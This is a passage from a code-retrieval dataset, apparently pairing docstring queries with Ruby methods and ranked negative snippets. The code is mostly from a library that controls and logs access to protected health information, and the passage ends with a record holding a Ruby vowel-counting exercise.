[ "0.6783726", "0.6664244", "0.65746266", "0.6541955", "0.65250677", "0.6465221", "0.6357006", "0.62972945", "0.5802014", "0.54192305", "0.51315415", "0.5066757", "0.500448", "0.5000395", "0.49190742", "0.4910319", "0.48812017", "0.48757094", "0.48726538", "0.48613065", "0.4849359", "0.48316348", "0.481493", "0.48013", "0.47652376", "0.47484323", "0.47433007", "0.47341827", "0.47325566", "0.4716914", "0.46837378", "0.4668692", "0.46356976", "0.4635366", "0.4634848", "0.46188083", "0.46156526", "0.46131822", "0.46131822", "0.45809442", "0.45805597", "0.45766494", "0.45678547", "0.4563679", "0.45619515", "0.45619515", "0.45619515", "0.45619515", "0.45541745", "0.45448637", "0.45425266", "0.4539673", "0.4537179", "0.4533335", "0.45211068", "0.45208406", "0.45135418", "0.45122606", "0.4500048", "0.4494177", "0.448754", "0.44827044", "0.44783938", "0.44780675", "0.44734707", "0.44672635", "0.44615674", "0.44490278", "0.44477022", "0.443772", "0.44345322", "0.44345322", "0.44265342", "0.4418912", "0.44162816", "0.44045454", "0.44035622", "0.4401308", "0.43994257", "0.43964604", "0.43890575", "0.4376057", "0.4375057", "0.43664894", "0.43649355", "0.43631276", "0.43608236", "0.43532693", "0.43470475", "0.4344642", "0.43295956", "0.43196195", "0.43189093", "0.43183824", "0.43161497", "0.43143073", "0.43136877", "0.43120036", "0.43088672", "0.43057802" ]
0.690083
0
Adds a disallow PHI access to the stack for all for all `extend`ed relations (or only those given)
def remove_disallow_flag_from_extended_phi!(relations = nil) relations ||= @__phi_relations_extended relations.each do |relation| relation.remove_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_disallow_flag_to_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.add_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n end", "def add_disallow_flag!\n @__phi_access_stack.push({\n phi_access_allowed: false\n })\n end", "def disallow_last_phi!(preserve_extensions: false)\n raise ArgumentError, 'block not allowed' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access = @__phi_access_stack.pop\n\n revoke_extended_phi! unless preserve_extensions\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access_for = self.class.__user_id_string(@__phi_access_stack)\n\n revoke_extended_phi!\n @__phi_access_stack = []\n\n message = removed_access_for.present? ? \"PHI access disabled for #{removed_access_for}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_last_phi!\n raise ArgumentError, 'block not allowed' if block_given?\n\n removed_access = __phi_stack.pop\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No class level access was granted.'\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def revoke_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.disallow_last_phi! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n @__phi_relations_extended.subtract(relations)\n end", "def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n __phi_stack.push({\n phi_access_allowed: false\n })\n\n yield if block_given?\n\n __phi_stack.pop\n end", "def remove_disallow_flag!\n @__phi_access_stack.pop\n end", "def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n add_disallow_flag!\n add_disallow_flag_to_extended_phi!\n\n yield if block_given?\n\n remove_disallow_flag_from_extended_phi!\n remove_disallow_flag!\n end", "def uncan_all()\n self.brk_excluded = :all\n end", "def deny_all_access\n @permissions = 0\n end", "def extension_denylist\n end", "def wrap_phi\n # Disable PHI access by default\n @__phi_access_stack = []\n @__phi_methods_extended = Set.new\n @__phi_relations_extended = Set.new\n\n # Wrap attributes with PHI Logger and Access Control\n __phi_wrapped_methods.each { |m| phi_wrap_method(m) }\n __phi_extended_methods.each { |m| phi_wrap_extension(m) }\n end", "def exclude\n all - methods\n end", "def prohibit_all(except: [])\n set_all :prohibited, except: { exceptions: except, status: :allowed }\n end", "def allow_all(except: [])\n set_all :allowed, except: { exceptions: except, status: :prohibited }\n end", "def add_global_proxy_exclusion(opts)\n opts = check_params(opts,[:addresses])\n super(opts)\n end", "def phi_wrap_extension(method_name)\n raise NameError, \"Undefined relationship in `extend_phi_access`: #{method_name}\" unless respond_to?(method_name)\n return if self.class.__phi_methods_to_extend.include? method_name\n\n wrapped_method = wrapped_extended_name(method_name)\n unwrapped_method = unwrapped_extended_name(method_name)\n\n self.class.send(:define_method, wrapped_method) do |*args, **kwargs, &block|\n relation = send(unwrapped_method, *args, **kwargs, &block)\n\n if phi_allowed? && (relation.present? && relation_klass(relation).included_modules.include?(PhiRecord))\n relations = relation.is_a?(Enumerable) ? relation : [relation]\n relations.each do |r|\n r.allow_phi!(phi_allowed_by, phi_access_reason) unless @__phi_relations_extended.include?(r)\n end\n @__phi_relations_extended.merge(relations)\n self.class.__instances_with_extended_phi.add(self)\n end\n\n relation\n end\n\n # method_name => wrapped_method => unwrapped_method\n self.class.send(:alias_method, unwrapped_method, method_name)\n self.class.send(:alias_method, method_name, wrapped_method)\n\n self.class.__phi_methods_to_extend << method_name\n end", "def restrict_to *privileges, &blk\n options = privileges.last.is_a?( Hash ) ? privileges.pop : {}\n\n if not options[:only]\n options[:except] = Array(options[:except]) + [:login, :logout, :reminder, :profile, :signup]\n end\n \n privileges << options\n \n super( *privileges, &blk )\n end", "def extend_phi_access(*methods)\n self.__phi_extend_methods = methods.map(&:to_s)\n end", "def ignore_exts\n @ext_rules.reject\n end", "def set_restrictions_to_child_pages\n self.descendants.map do |c|\n c.update_attributes(:restricted => self.restricted?)\n end\n end", "def disallowable\n return @disallowable if @disallowable\n\n @disallowable = parent_disallowables\n end", "def excluded; end", "def disallow(&block)\n collect_bucket(&block)\n scope = @_env.nil?? :global : @_env\n if @_bucket.any?\n @_disallowed_routes[scope].push(@_bucket).flatten!\n end\n @_bucket = nil\n end", "def global_proxy_exclusion\n super\n end", "def phi_allowed?\n !phi_context.nil? && phi_context[:phi_access_allowed]\n end", "def ignore_parent_exclusion; end", "def phi_allowed?\n __phi_stack.present? && __phi_stack[-1][:phi_access_allowed]\n end", "def ignore_parent_exclusion?; end", "def ip_permissions_egress\n data[:ip_permissions_egress]\n end", "def deny_all!(kind = :all, attributes = {})\n allow_all(kind, attributes).save\n end", "def exclude; end", "def ignore_enduser\n record_api_supportability_metric(:ignore_enduser)\n NewRelic::Agent::Transaction.tl_current&.ignore_enduser!\n end", "def add_proxy_exclusion(opts)\n opts = check_params(opts,[:addresses])\n super(opts)\n end", "def excluded_models; %w[Tenant] end", "def negatives_added\n raise \"Negatives not allowed: #{negatives.join(' & ')}\" unless negatives.empty?\n end", "def proxy_exclusion\n super\n end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= current_user\n reason ||= i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n __phi_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def scope\n return super if spree_current_user.present?\n\n super(skip_cancancan: true)\n end", "def disable_lessons_containing_me\n manage_lessons_containing_me(false)\n end", "def disallow(*methods)\n methods.each do |meth|\n define_method(meth) do |*, **|\n raise \"#{meth} not expected to be called\" if not_deployed?\n end\n end\nend", "def exclusions\n @exclusions ||= []\n end", "def exclusions\n @exclusions ||= []\n end", "def excludes\n @excludes ||= []\n end", "def remove_all_global_proxy_exclusions\n super\n end", "def disallowNavigation\n self.navigationAllowed = false\n end", "def disallowNavigation\n self.navigationAllowed = false\n end", "def hide_methods(mod, except_defaults, *stuff)\n options = stuff.last.is_a?(Hash) ? stuff.pop : {}\n include_ancestors = options.fetch(:ancestors){false}\n except = Array(options.fetch(:except){except_defaults})\n protect = Array(options[:protect])\n except_methods = collect_methods(true, *except)\n protect_methods = collect_methods(true, *protect)\n methods_to_hide = collect_methods(include_ancestors, *stuff)\n (methods_to_hide - except_methods).each do |method_name|\n mod.module_eval do\n next unless method_defined?(method_name)\n if protect_methods.include?(method_name)\n protected method_name\n else\n private method_name\n end\n end\n end\n end", "def allow_anon\n end", "def egress_permissions\n @sg.ip_permissions_egress\n end", "def egress_permissions\n @sg.ip_permissions_egress\n end", "def page_rels_ext *ignored\n error \"Must define page_rels_ext method in your subclass\"\n end", "def skip_trackable\n request.env['devise.skip_trackable'] = true\n end", "def skip_trackable\n request.env['devise.skip_trackable'] = true\n end", "def allowedonly()\n merge(gaallowedonly: 'true')\n end", "def deny(opts = {})\n stmt = self.class::Statement.new(opts.merge(:effect => :deny))\n statements << stmt\n ConditionBuilder.new(stmt.conditions)\n end", "def remove_global_proxy_exclusion(opts)\n opts = check_params(opts,[:addresses])\n super(opts)\n end", "def perm_ancestors\n super + [parent_resource]\n end", "def exclude_links(*array)\n @excluded_link_indexes = array\n end", "def ignore_links\n @link_rules.reject\n end", "def extension_allowlist\n end", "def disable_referential_integrity\n yield\n end", "def disable_referential_integrity\n yield\n end", "def disable_referential_integrity\n yield\n end", "def disable_referential_integrity\n yield\n end", "def remove_all_proxy_exclusions\n super\n end", "def implied_perms_for(permissions)\n implied_permissions = []\n permissions.each do |p|\n next if p.class_name.to_sym == :any\n next unless p.target_class_exists?\n p.target_class.sg_priv_to_implied_privs[p.privilege].each do |pi|\n\tp_new = p.dup\n\tp_new.privilege = pi\n\timplied_permissions << p_new\n\tend\n end\n implied_permissions \n end", "def skip_policy_scope; end", "def no_admin_set_abilities\n cannot [:edit, :create, :delete], Hydra::Admin::Collection\n end", "def add_extend ext\n add_to @extends, ext\n\n ext\n end", "def require_phi!\n raise PhiAccessException, 'PHI Access required, please call allow_phi or allow_phi! first' unless phi_allowed?\n end", "def add_non_transformable_endpoints\n return unless @grape_transformations_non_transformable_endpoints.is_a? Proc\n @grape_transformations_non_transformable_endpoints.call\n end", "def disable_content_blocks\n cannot :manage, ContentBlock\n end", "def include_forbidden_attributes_protection?(node)\n node.receiver.to_s == 'ActiveRecord::Base' && node.message.to_s == 'send' &&\n node.arguments.all.map(&:to_s) == ['include', 'ActiveModel::ForbiddenAttributesProtection']\n end", "def add_excluded_pairs(collector, animals)\n excluded = animals.find_all { | a | animal_excluded?(a) }\n new_pairs = excluded.collect { | a | [owning_procedure, a] }\n collector.insert(-1, *new_pairs)\n end", "def ip_denylist\n # Cast for Steep\n _ = @options[:ip_denylist] || []\n end", "def update_extends\n extends.reject! do |ext|\n mod = ext.module\n\n !(String === mod) && @store.modules_hash[mod.full_name].nil?\n end\n\n extends.uniq!\n end", "def delete_extinct_permissions\n db_perms = ::Permission.find(:all).dup\n db_perms.each do |dbp|\n unless @permissions.include?(Lockdown.get_symbol(dbp.name))\n Lockdown.logger.info \">> Lockdown: Permission no longer in init.rb: #{dbp.name}, deleting.\"\n ug_table = Lockdown.user_groups_hbtm_reference.to_s\n if \"permissions\" < ug_table\n join_table = \"permissions_#{ug_table}\"\n else\n join_table = \"#{ug_table}_permissions\"\n end\n Lockdown.database_execute(\"delete from #{join_table} where permission_id = #{dbp.id}\")\n dbp.destroy\n end\n end\n end", "def prevent_all_when(rule)\n own_global_actions << [:prevent, rule]\n end", "def supports_exclusion_constraints?\n false\n end", "def add_implications(children)\n bad_kids = []\n good_kids = []\n children.each do |child|\n #check to make sure we aren't creating any circular implication chains\n if child == self || child.get_desc_imps.include?(self)\n bad_kids << child.name\n elsif !self.implied_tags.include?(child)\n good_kids << child\n implied_tags << child\n end\n end\n\n tagged_objs.each do |obj|\n obj.set_tags_directly(good_kids)\n end\n bad_kids\n end", "def noone_allowed_anywhere\n # checks for Disallow: /\n !(self.perms['*'] && self.perms['*']['disallow'].find {|r| r == '/'}).nil?\n end", "def extra_scopes()\n @scopes_added_by_common_scopes\n end", "def ignore_parent_exclusion=(_arg0); end", "def visit_exts\n @ext_rules.accept\n end", "def friends_cannot_access_garage \n @friends = Friend.all.select(\"friends.*, friends.id as friend_id\") - Friend.joins(\"join accessors on friends.id=accessors.friend_id\").where(\"accessors.garage_id=:gid\", {gid:params[:id]}).select(\"friends.*, friends.id as friend_id\")\n end", "def parent_has_constraints_on_children?\n parent_tag[:definition][:only_allow] != nil\n end", "def reject_related(rel, ignore: [], &blk)\n reject_embedded(rel, ignore: ignore, &blk).reject_links(rel, ignore: ignore, &blk)\n end", "def update_ignores\n @ignore_users |= WhitelistedUser.all.map(&:user_id)\n end", "def allows_not_action\n @statements.select { |statement| !statement.not_actions.empty? && statement.effect == 'Allow' }\n end", "def deny_all(kind = :all, attributes = {})\n new attributes.merge(:kind => kind, :name => 'all', :allow => false)\n end", "def remove_non_base_statements\n remove_has_target_statements\n remove_has_body_statements\n end", "def exclude\n @_exclude ||= Set.new %w(test spec tmp features config public db).map{ |path| Padrino.root(path) }\n end", "def enable_lessons_containing_me\n manage_lessons_containing_me(true)\n end", "def hide_tree(*classOrModules)\n\t\tclassOrModules.each do |classOrModule|\n\t\t\t@ignored_tree[classOrModule] = true\n\t\tend\n\tend", "def disable_all\n # rules_to_disable = @rules.select {|key, value| value!=:hidden} \n # rules_to_disable.each_key { |key| @rules[key] = :disabled }\n @default_state = :disabled\n end", "def enable_all\n # rules_to_disable = @rules.select {|key, value| value!=:hidden} \n # rules_to_disable.each_key { |key| @rules[key] = :disabled }\n @default_state = :enabled\n end", "def disable\n authorize! @user\n @user.enabled = false\n @user.save\n @user.owned_extensions.update_all(enabled: false)\n redirect_to root_path, notice: t(\"user.disabled\", name: @user.username)\n end" ]
[ "0.72142094", "0.6821675", "0.64514476", "0.6331677", "0.61960024", "0.61160535", "0.60905063", "0.5913089", "0.56113464", "0.5440329", "0.5310232", "0.52933234", "0.5142014", "0.50853455", "0.5069504", "0.5058424", "0.50462246", "0.50398934", "0.50364983", "0.50317436", "0.49946105", "0.49359027", "0.49066937", "0.49058375", "0.48560292", "0.48523766", "0.4832877", "0.4819355", "0.47979718", "0.4730253", "0.4693325", "0.46878612", "0.4687009", "0.46864772", "0.46841326", "0.46705776", "0.4663518", "0.4657985", "0.46553034", "0.46482152", "0.46151555", "0.4606964", "0.46052313", "0.46041352", "0.46041352", "0.45948", "0.4591129", "0.4588781", "0.4588781", "0.4583854", "0.45812118", "0.4570005", "0.45688736", "0.4561147", "0.45471263", "0.45471263", "0.454261", "0.45361722", "0.45274812", "0.45159906", "0.45079544", "0.45002842", "0.44941908", "0.44755286", "0.44755286", "0.44755286", "0.44755286", "0.44738853", "0.44723517", "0.44538537", "0.44517237", "0.44467664", "0.4443615", "0.44416878", "0.44414508", "0.4439805", "0.44353014", "0.44196668", "0.44015777", "0.4392663", "0.4391842", "0.438037", "0.43782088", "0.43754756", "0.4373895", "0.4363661", "0.43603903", "0.4357131", "0.43560356", "0.435302", "0.4351162", "0.43446562", "0.43433082", "0.4340744", "0.43392697", "0.43388817", "0.43350232", "0.43312937", "0.43288004", "0.4327551" ]
0.6651693
2
=> instance method to add up the mass of all bodies in bodies and return it
def total_mass mass = 0 @bodies.each do |body| mass += body.mass end return mass end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def total_mass\n sum = 0\n @bodies.each{ |body| body[:mass] += sum}\n sum\n end", "def update_masses\n self.total = 0\n masses.clear\n self.hashes.each do |hash, nodes|\n masses[hash] = nodes.first.mass * nodes.size\n masses[hash] *= (nodes.size) if identical[hash]\n self.total += masses[hash]\n end\n end", "def calculate_body\n\t\tbody = @character_class.body(@experience.level)\n\t\tbody += @race.body\n\n\t\treturn body\n\tend", "def calculate_total_fuel_for_modules(module_mass_list)\n\ttotal_fuel = 0\n\n\tmodule_mass_list.each do |module_mass|\n\t\ttotal_fuel += fuel_required_for_mass(module_mass)\n\tend\n\n\ttotal_fuel\nend", "def total_fuel_for(mass)\n next_mass = mass\n total_fuel = 0\n loop do\n fuel_needed = fuel_needed_for(next_mass)\n break unless fuel_needed > 0\n next_mass = fuel_needed\n total_fuel += fuel_needed\n end\n return total_fuel\nend", "def summ\n result = 0.0\n self.propose_items.each do |item|\n result += item.price\n end\n return result\n end", "def calculate_with_fuel\n s = 0\n res = calculate\n until res.zero?\n s += res\n @mass = res\n res = calculate\n end\n s\n end", "def total_energy\n potential_energy = 0.0\n DIMS.values.each { |dim| potential_energy += @position[dim].abs }\n kinetic_energy = 0.0\n DIMS.values.each { |dim| kinetic_energy += @velocity[dim].abs }\n potential_energy * kinetic_energy\n end", "def total_water\r\n t = 0\r\n @positions.each_with_index do | p,index |\r\n\t t += p.water_content\r\n\t t += p.water_bank\r\n\tend\r\n\tt\r\n end", "def mass\n @ob.get_exact_mass - (@ob.get_total_charge * Rubabel::MASS_E)\n end", "def moneys_total\n moneys_total = 0\n mini_map_cells.each do |cell|\n moneys_total += cell.terrain.money\n moneys_total += cell.sp_resource.money unless cell.sp_resource.blank?\n moneys_total += cell.construction.money unless cell.construction.blank?\n end\n return moneys_total\n end", "def total_m3_biogas\n\t\t(calculations.collect(&:calc_m3_biogas).sum).round 2\n\tend", "def mass(peptide)\n mass = 0\n for i in 0..peptide.length-1\n mass += peptide[i].to_i\n end\n mass\nend", "def total\n total = 0\n line_items.each do |line_item|\n total += line_item.item.price * line_item.quantity\n end\n total\n end", "def sum; end", "def mass\n (detail[:area] * material.thickness * material.density / 1000).ceil\n end", "def total\n @parts.map {|part| part.abs }.inject(0) {|sum,val| sum + val }\n end", "def total_membership_cost \n self.memeberships.map do |memebership|\n memebership.cost \n end.sum \n end", "def total_items\r\n\t\t@items.inject(0) { |sum, i| sum + i.quantity }\r\n\tend", "def weight\n @mass * @hopper.size\n end", "def total_cost\n total = 0\n memberships.each do |membership|\n total += membership.cost\n end\n total\nend", "def get_fuel(mass)\n mass = mass / 3 - 2\n @sum += mass\n get_fuel(mass) if mass >= 9\n end", "def product_total\n\t\ttotal = 0\n\t\tself.items.each do |item|\n\t\t\ttotal += item.amount\n\t\tend\n\t\ttotal\n\tend", "def mass(weight)\n return weight / FREE_FALL_ACCELERATION\n end", "def total\n return 0 if @products.empty?\n total = (@products.sum { |name, price| price } * 1.075).round(2)\n return total\n end", "def total(bill)\n sum=0.0\n bill.items.each do |i|\n sum += i.price\n end\n return sum\n end", "def total_energy\n potential_energy * kinetic_energy\n end", "def sum\n\t\treturn self.reduce(:+)\n\tend", "def mass\n 10\n end", "def total\n add_products = 0\n @products.each_value do |cost|\n add_products += cost\n end\n total = (add_products + (add_products * 0.075)).round(2)\n return total\n end", "def sum_bets() \n\t\t@sum = 0\n\t\t#loop through players array\n\t\tfor i in 0...@num_players\n\t\t\t@sum += @players[i].bet\n\t\tend\n\t\treturn @sum\n\tend", "def proton_mass\r\n mass(HYDROGEN) - mass(ELECTRON)\r\n end", "def calculate_calories(bodyweight)\n\ttotal_calories = bodyweight * 13\n\treturn total_calories\nend", "def lift_total_for_gym\n total = 0\n self.lifters.each do |lifter|\n total += lifter.lift_total\n end\n total\n end", "def calculate_force(bodies)\n f, fx, fy, dx, dy, r = 0.0, 0.0, 0.0, 0.0, 0.0, 0.0\n \n bodies.each do |body|\n if body == self\n \tnext\n end\n radius = length(self, body)\n dx = how_far(self, body)[0]\n dy = how_far(self, body)[1]\n# dz = how_far(self, body)[2]\n\n f = forcex(mass, body.mass, radius)\n\n fx += force_directional(f, dx, radius)\n fy -= force_directional(f, dy, radius)\n# fz += force_directional(f, dz, radius)\n\n f = 0.0\n end\n\n return [fx, fy]\n end", "def total_weight\r\n\t\t@items.inject(0.0) { |sum, i| sum + i.total_unit_weight * i.quantity }\r\n\tend", "def total; end", "def total_quantity\n total = 0.0\n self.quantities.each do |quantity|\n total = total + quantity.number\n end\n total\n end", "def total_value_all_rooms\n total = 0\n rooms.each do |room|\n total = total + room.total_value_in_room() # calling from room.rb\n end\n total # explicit return\n end", "def total_cost\n# Get the total cost of a specific lifter's gym memberships\n membs_cost = memberships.map{|membership|membership.cost}\n cost_total = membs_cost.inject(:+)\n end", "def total\n sum = 0\n order_items.each do |order_item|\n if order_item.item.price.present? && order_item.quantity.present?\n sum += order_item.item.price * order_item.quantity\n end\n end\n return sum\n end", "def total_life\n items.map(&:life).inject(0) { |sum, current| sum += current }\n end", "def item_total\n line_items.map(&:total).reduce(:+)\n end", "def total_students(students)\n total = 0\n students.each_value do |value|\n total += value\n end\n return total\nend", "def moneys_total\n moneys_total = 0\n mini_maps.each do |map|\n moneys_total += map.moneys_total\n end\n return moneys_total\n end", "def total_money(people)\n total = 0\n for person in people\n total += person[:monies]\n end\n return total\nend", "def total_money(people)\n total = 0\n for person in people\n total += person[:monies]\n end\n return total\nend", "def total\n order_pots.sum(&:total)\n end", "def total_funds\n sum_funds = 0\n self.funding_rounds.each do |funding_round|\n sum_funds += funding_round.investment\n end \n sum_funds\nend", "def total_price\n items.map(&:price).sum\n end", "def total_money( people)\n total_money = 0\n\n for person in people\n total_money += person[:monies]\n end\n return total_money\nend", "def total_payments\n total = 0\n payments.each{|payment| total += payment.amount}\n total\n end", "def total_cost \n self.memberships.map do |membership|\n membership.cost \n end.sum\nend", "def total_pay\n total_pay = self.employees.map do |employee|\n employee.pay\n end\n total_pay.inject(:+)\n end", "def total\n return (@listOfItem.inject(0){|sum,e| sum += e.total}).round_to(2)\n end", "def total\n if @products == {}\n return 0 \n else\n m = 0\n @products.values.each do |v|\n m += v\n end\n\n sum = (m + (m * 0.075)).round(2)\n return sum\n end\n end", "def total_weight\n line_items.map(&:weight).sum\n end", "def total\n @sum = @products.values.inject(0, :+)\n @total = @sum + (@sum * 0.075).round(2)\n return @total\n end", "def sum\n self.inject(:+)\n end", "def total_iron\n food.iron * quantity\n end", "def totalHeures\n total=0\n @feuilles.each { |f| total = total + f.totalHeures }\n total\n end", "def total_pay\n total = 0\n @serie_items.each do |item|\n # next if item.quantity.nil?\n total += item.quantity * item.creation.price\n end\n return total\n end", "def total(prices)\n amount = 0\n prices.each do |price|\n amount += price\n end\n amount\nend", "def total\n total = 0\n @products.values.each do |price|\n total += price\n end\n total += (0.075 * total).round(2)\n end", "def total_rent\n rent_array = self.locations.map do |location|\n location.rent\n end\n rent_array.inject(:+)\n end", "def money_total(people)\n count = 0\n people.each do |person|\n count += person[:monies] \nend\nreturn count\nend", "def mass(consider_electron_masses = true)\n mss = inject(0.0) do |sum,(el,cnt)| \n sum + (Mspire::Mass::Element::MONO[el]*cnt)\n end\n mss -= (Mspire::Mass::ELECTRON * charge) if consider_electron_masses\n mss\n end", "def update_total\n self.total = self.shipments.map(&:item_cost).sum\n end", "def total ( numbers )\r\n\r\n\treturn numbers.reduce(:+);\r\n\r\nend", "def total_salary(employees)\n total = 0\n employees.each do |employee|\n # Don't know/care what kind of `Employee` (regular, Manager,\n # or CEO) this is. We can treat them all the same.\n total += employee.wage\n end\nend", "def total(prices)\n amount = 0\n prices.each do |price|\n amount += price\n end\n amount\nend", "def total\n charges.map { |x| x.total_cost.to_f }.inject(:+)\n end", "def totalGramos\n\t\tgramos = 0\n\t\ttotal = 0\n\t\t@platos.each do |alimento|\n\t\t\tgramos += alimento.gramos\n\t\tend\n\t\treturn gramos.round(2)\n\tend", "def total\n cart_value = 0\n self.line_items.each do |line_item|\n cart_value += line_item.value\n end\n cart_value\n end", "def total\n @items_total = []\n self.line_items.each do |item|\n @item = Item.find_by_id(item.item_id)\n @items_total << @item.price.to_f\n end\n cart_total = @items_total.inject(0){|sum, x| sum + x }\n @cart_total = cart_total.round(2)\n @cart_total\n end", "def total\n total = 0.00\n #accesses the subtotal of each of the order items\n order_items.each do |item|\n total += item.subtotal\n end\n return total.round(2)\n end", "def total\r\n sum = 0\r\n sales_lines.each do |line|\r\n sum += line.line_amount unless line.line_amount.blank?\r\n end\r\n return sum\r\n end", "def total\n total = @products.map do |product, price|\n price\n end\n\n return (total.sum * 1.074).round(2)\n end", "def total_cost\n memberships.map{|membership|\n membership.cost\n }.sum\n end", "def weight\n return nil if mass.nil?\n mass / 1000.0\n end", "def total\n # TODO: implement total\n if products.length == 0\n return 0\n end\n ((@products.values.sum)*1.075).round(2)\n end", "def total_price\n # convert to array so it doesn't try to do sum on database directly\n @total = 0\n line_items.each do |item|\n @total = item.price\n end\n line_items.to_a.sum {|item| (item.quantity * item.price) }\n end", "def calMass(mass, charge)\n (mass + (charge.to_f * 1.00727646677)) / charge\n end", "def calMass(mass, charge)\n (mass + (charge.to_f * 1.00727646677)) / charge\n end", "def total_amount\n \t amount = 0\n \t operation_items.each do | oi |\n \t\tamount = amount + oi.amount\n end\n amount\n end", "def total_product_price\n total_price = @products.map{|product| product.price}\n total_price.reduce(:+) \n end", "def gramos_total\n\t\tsuma = 0\n\t\t\n\t\t@gramos.each do |i|\n\t\t\tsuma += i\n\t\tend\n\n\t\treturn suma.round(2)\n\tend", "def quantity\n map(&:quantity).sum\n end", "def lifter_total_cost\n total_cost = 0 \n self.memberships.each do |membership_instance|\n total_cost += membership_instance.cost \n end\n total_cost\n end", "def total_cost\n self.all_memberships.map{|membership| membership.cost}.sum\n end", "def total_everyone_money(people)\n total_money = 0\n for person in people\n total_money += person[:monies]\n end\n return total_money\nend", "def summarize_bodies(parts)\n return parts.map do |p|\n p[\"body\"] = \"Body summary - length #{p[\"body\"].length}\"\n p\n end\n end", "def total_protein\n food.protein * quantity\n end", "def total\n\t\tif @products == {}\n\t\t\treturn 0\n\t\telse\n\t\t\treturn (@products.sum {|product, cost| cost} * 1.075).round(2)\n\t\tend\n\tend", "def accumulate_forces\r\n @particles.each do |p|\r\n p.acc = MVector.new(0,0,0)\r\n p.forces.each do |f|\r\n case f.type\r\n when :gravity\r\n p.acc += @gravity\r\n else\r\n p.acc += f.vector\r\n end\r\n end\r\n end\r\n end", "def foods_total\n foods_total = 0\n mini_maps.each do |map|\n foods_total += map.foods_total\n end\n return foods_total\n end", "def total\n @total = 0\n @ordered_items.each do |item|\n @total += item[1]\n end\n return @total\n end", "def total_earned\n totals = []\n\n self.orders.each do |order|\n totals << order.total_price\n end \n\n return totals.inject{ |sum, n| sum + n } \n end", "def total_subordinate_salary\n sum = 0\n @subordinates.each do |sub|\n sum += sub.salary \n end\n sum\n end", "def calculate_invoice_total\n res = [ ]\n self.line_items.each do |item|\n res.push(item.qty * item.price)\n end\n # Return the sum of the items\n self.total = res.inject(:+) \n end" ]
[ "0.8550619", "0.6276286", "0.6268563", "0.620096", "0.6143025", "0.5981379", "0.59792024", "0.5934948", "0.58977157", "0.58898675", "0.58727676", "0.5868477", "0.58483446", "0.58176804", "0.57921505", "0.5773891", "0.57133293", "0.57116896", "0.5710129", "0.5703177", "0.570174", "0.5697208", "0.5696661", "0.5694653", "0.56905353", "0.5683082", "0.5679772", "0.56758964", "0.5675305", "0.56706625", "0.56700104", "0.5660681", "0.5635473", "0.5631869", "0.5624641", "0.56029576", "0.5594279", "0.5584372", "0.5582608", "0.55806136", "0.5579726", "0.55695736", "0.556897", "0.55632615", "0.555368", "0.5553174", "0.5553174", "0.55516243", "0.55505997", "0.55467474", "0.5545672", "0.554395", "0.55387247", "0.55312186", "0.5530865", "0.55049217", "0.5503924", "0.55032814", "0.549987", "0.5496697", "0.54910296", "0.54874945", "0.54864144", "0.5475113", "0.5474686", "0.5472475", "0.5472226", "0.5466444", "0.5462192", "0.54601103", "0.54525447", "0.5449877", "0.544184", "0.5441645", "0.54386914", "0.54324406", "0.5429011", "0.5422846", "0.5421942", "0.54214466", "0.5419093", "0.54171944", "0.54122555", "0.54122555", "0.54100806", "0.5406902", "0.5403532", "0.539774", "0.5386219", "0.53824353", "0.5377861", "0.5373366", "0.53710806", "0.5369137", "0.5365449", "0.5364161", "0.53639424", "0.53626686", "0.5361078", "0.5359586" ]
0.8603155
0
Create a method that takes a string, and returns the amount of vowels in that string. E.g. number_of_vowels("How many vowels") > "There are 4 vowels in this word" E.g. number_of_vowels("I fly") > "There is 1 vowel in this word" E.g. number_of_vowels("Fly") > "There are no vowels in this word" NOTE THE GRAMMAR!! Advanced: Try doing this using our good, old friend REGEX
def number_of_vowels(string) count = string.downcase.scan(/[aeiou]/).size case count when 1 "There is 1 vowel in this word" when 0 "There are no vowels in this word" else "There are #{count} number of vowels" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
